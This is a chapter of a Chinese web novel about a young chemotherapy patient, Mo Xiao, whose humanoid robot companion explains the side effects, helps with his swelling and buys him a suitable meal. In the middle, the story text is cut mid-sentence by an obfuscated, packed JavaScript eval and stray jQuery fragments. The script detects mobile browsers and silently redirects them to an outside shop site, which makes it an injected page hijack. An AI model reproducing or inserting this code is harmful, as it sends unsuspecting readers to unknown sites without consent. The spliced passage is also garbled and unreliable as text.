10、我是水桶吗？
莫晓以前一直以为，所谓化疗就是吃药，吃很多很多药，吃化疗药，吃靶向药。
电视里都是那么演的，身患重病的光头主角，每天都要吃大把大把的药。
但当轮到自己亲身经历化疗的时候，才发现不是这么回事。
吃的药肯定有，却没那么多，主要是预防、治疗化疗中产生的副作用，让化疗不至于太难熬。
真实的化疗，至少莫晓自己经历的化疗，是输液。
给新置入的输液港扎针，然后一瓶一瓶输液。
早上八点半，三瓶营养水只是开胃菜，维C、维B，加一瓶养胃的。
前两个瓶子特别大，点滴速度尽可能放到最大，也要一个多小时才能滴完一瓶，后者倒是小，也要十五分钟。
三瓶营养水加起来，就是两个半小时。
九点半的时候，化疗药会从外面送到病房楼。
本来靶向药也应该一起送来的，是夏月医生说，担心第一期化疗，莫晓身体受不了，所以分开了，今天先挂化疗针，明天再挂靶向药，慢着来，缓着来，一切以身体能承受为主。
这话听着让人暖心，也很有道理，为了身体健康，莫晓谨遵医嘱，绝不自作聪明。
三瓶营养水，两瓶化疗，中间穿插三瓶用来冲输液管的盐水，合计八瓶。
莫晓：…………
他是水桶吗？
灌这么多水！
想是这么想，该挂的水，一滴都没少进输液港。
不知道是从第几瓶开始，莫晓开始觉得四肢密密麻麻的胀。
双手举起到眼前，原本纤长的十根手指，在短时间内胖的像小白萝卜。
坐起身，掀开被子，一双腿脚肿大的像是猪蹄。
莫晓：……
摸摸自己的脸，总觉得不太妙。
这是药物反应？还是单纯只是血管被短时间内灌了太多的水？
莫晓不知道，就问了星陆。
星陆的回答，专业的宛如在念科普文案。
“应该是药物里的神经毒素损伤了神经末梢，才会有手麻脚麻的感觉。水肿的话，应该是药物导致的毛细血管渗漏，也是药物作用。①与水多水少，关系不大。”
“一开始输液的维生素，是为了预防性营养支持，减轻化疗药作用在身体上的神经毒素②，只是现在看来，无法完全抵消。”
他伸手按了按莫晓水肿的脚背，发现回弹挺快，没有凹陷。又同样按了小腿，也是一样。
“回弹情况不错，这代表情况不错，我去把这些反应告诉夏月医生，看看给你开什么药，能缓解缓解。”
他又忧心、关心的问：“除了这些，晓晓有没有觉得皮肤瘙痒，或者胸闷，呼吸难受？这些是过敏反应，很危险，一旦发现，需要立刻告诉护士。晓晓可不能忍着不说。”
莫晓：“那倒没有。不是吃过地塞米松了吗。还有一个小时前，护士来打了针，那个也是抗过敏的，你忘了？”
机器人当然不可能忘，莫晓也只是玩笑一下，不可能真认为星陆没记住。
星陆却很认真的说：“我更在意你的感受。”
莫晓愣住。
对方虽然是机器人，但是对方的眼神、微表情，都无限近似于人类。
优越的皮相和骨相，给了他惹人怜爱的资本，连表情都比普通人更让人信服。
他的眼神，他的表情，无一不在向莫晓诉说一个事实——
我相信医生的医术，也相信医生开的药足够好，设下的层层保障足够强大，足以抵抗药物的负面伤害。
我更在意你是不是真的安全，即使只有一点苗头。
莫晓感觉怪不自在的，撇过头去，嘟囔着说：“不是要找夏月医生吗。赶紧去，不然一会儿夏月医生又要去做手术了。”
医生真的很忙，去找她，十有七八是不在的，不是在做手术，就是在做手术的路上，或者手术与手术的间隙，忙里偷闲喘口气，然后被幸运爆棚的患者家属见缝插针打通电话。
唯一能确定她在病房楼，还是汪医生要去门诊楼坐诊的当天，以及早上查房。
莫晓有问，等他做手术的时候，是不是夏月医生来做。
夏月医生一听，连忙摆手，说肯定是汪医生来做，她就是辅助的。
莫晓：哦~原来如此。
星陆去找夏月医生，很幸运的，夏月医生没有去做手术，只是前来咨询的患者家属很多，他也不得不排队等着。
等轮到了他，把莫晓的情况一说，夏月医生思索了一下，开了点药。
等星陆回来的时候，护士已经拿药到场，并准备用一次性针管抽取药物给莫晓打屁股针了。
莫晓可怜的臀部，上一针留下的针眼还隐隐作痛着。
针尖挤出一点药液，准备工作就绪。
在上一个针眼的旁边，护士——我扎！
莫晓：！O_o、>^
打完针，护士让莫晓多喝水，多排尿，多活动转转，活动手脚，把脚垫高，促进液体回流。
莫晓侧着身体，答应了。
护士离开，星陆过来，帮莫晓把床尾的被子团吧团吧，莫晓一双脚放上去，果然麻劲儿减轻了很多。
可能也是药物因素，虽然输液灌了很多水，但莫晓的嘴巴始终觉得很渴，每次喝过水，不一会儿，嘴巴就干了，尤其是上嘴春和上牙龈之间，仅有很少的水分。
所以，即使护士不提醒，莫晓也不得不多喝水。
即使他真的很不想喝。
尤其是输液之后，嘴巴泛药苦，本来喝着就觉得苦的白开水，现在喝着更苦，更折磨人了。
莫晓：猫猫趴着难受.jpg
累，不想动弹。
手涨脚涨，动着不顺利。
莫晓犯懒，动动手指、手掌还行，真活动手腕、脚踝，没一会儿就要歇菜了。
主观能动性差，莫晓就打被动的主意，他让星陆给他做按摩。
原以为没什么的，谁知话音刚落，就被星陆不赞同的拒绝了。
“不可以的，晓晓。”
莫晓不解：“为啥？”
星陆：“药物损伤了末梢神经，这个时候按摩，很有可能按伤，如果血小板过低，也可能导致皮下出血。更重要的是，更可能加重水肿。③”
莫晓：“那算了。”
星陆提出另一种方法：“虽然不能帮晓晓做按摩，但我可以辅助晓晓做屈伸运动，来促进静脉回流。比按摩更安全。”
其实就是星陆握住莫晓的脚掌，缓慢的帮他转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897377|212857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动脚踝、钩动绷直脚背。
或者抓住两只脚踝，模拟蹬三轮。
通过活动关节，而不是按压揉捏肌肉，来促进回流。
莫晓会同意吗？
当然不行！
按一按好歹没那么显眼，握住脚岂不是太亲密了。
莫晓脸皮薄，在家就算了，在病房绝对不行。
尤其是右床新搬来一个病友。
莫晓不让星陆按摩了，也不让他辅助做什么屈伸运动。
莫晓让他去取开好的诊断证明和病例复印件去，回来的时候顺便买饭回来，饮料他要脉动。
其实是想喝可乐的，但高糖，想想还是算了。
星陆比了个OK的手势，出门去了。
他一出去，莫晓就想上厕所。
费劲儿巴拉下病床，穿拖鞋，肿大的脚把鞋面撑的紧绷绷的，脚也被挤得难受，莫晓不在意，站起身，取下药瓶，拿上卷纸，就往室内厕所走去。
每一脚，都仿佛踩在棉花上。
另一边，星陆取好诊断证明和病例复印件，先去买了莫晓喜欢的口味的脉动，再去餐厅买饭。
他去的早，餐厅来吃饭的人还很少，每个窗口都空，星陆有充足的时间去规划莫晓的饮食。
首先，晓晓个人的爱好要顾及；其次，晓晓化疗后的身体状态要顾及。
化疗药，属于无差别攻击类型。它平等的攻击一切分裂速度过快的细胞。整个身体，从内到外，从上到下，统统祸害。
在饮食上，上损害味蕾，下祸害肠胃。
这就表示，莫晓在吃饭的时候，平日里喜欢的菜到嘴里，十之八九是要变味的。
至于肠胃，胃黏膜会受损，肠胃蠕动会有影响，恶心呕吐也有可能发生。
只是这个时候可能性比较低，毕竟才刚刚输液，还没到发挥威力的时候。
不过也快了，最迟第三天，药物威力就会全面爆发。
那时候，才是真的想吃想的抓耳挠腮，都吃不下去。
现在问题来了，他该带什么食物回去呢？
米饭太硬，那就带粥吧，鱼片粥，鲜美可口好消化。
土豆牛肉里牛肉不太好消化、鱼香肉丝也偏辣，咖喱饭香料太多……
红烧鸡块吧，再来一道西红柿炒鸡蛋和小青菜。
有碳水、有鱼、有肉、有蛋、有素、有膳食纤维，营养均衡且美味。
星陆一手提着热腾腾的饭菜，一手护着纸张，进入5号病房楼，上了电梯。
等他回到病房的时候，莫晓一瓶水还没挂完呢。
“回来了，买什么了？”
“红烧鸡块、西红柿炒鸡蛋、炒小青菜，还有鱼片粥。”
莫晓伸手去拿诊断证明和病例复印件，星陆递给他后，再把提着的饭菜一一摆放在餐板上，打开，并将一次性筷子和勺子也摆放好。
“听起来不错。”
莫晓翻看这些文件，大致过一遍，便又递给星陆，让他用自己的手机上的扫描软件，对其进行扫描，并发给人事小姐姐。
自己则开始用饭。
一块红烧鸡块一入口，味蕾接触的那一刻，莫晓愣住了。
⊙_⊙
完蛋。
他的味觉——
坏掉了。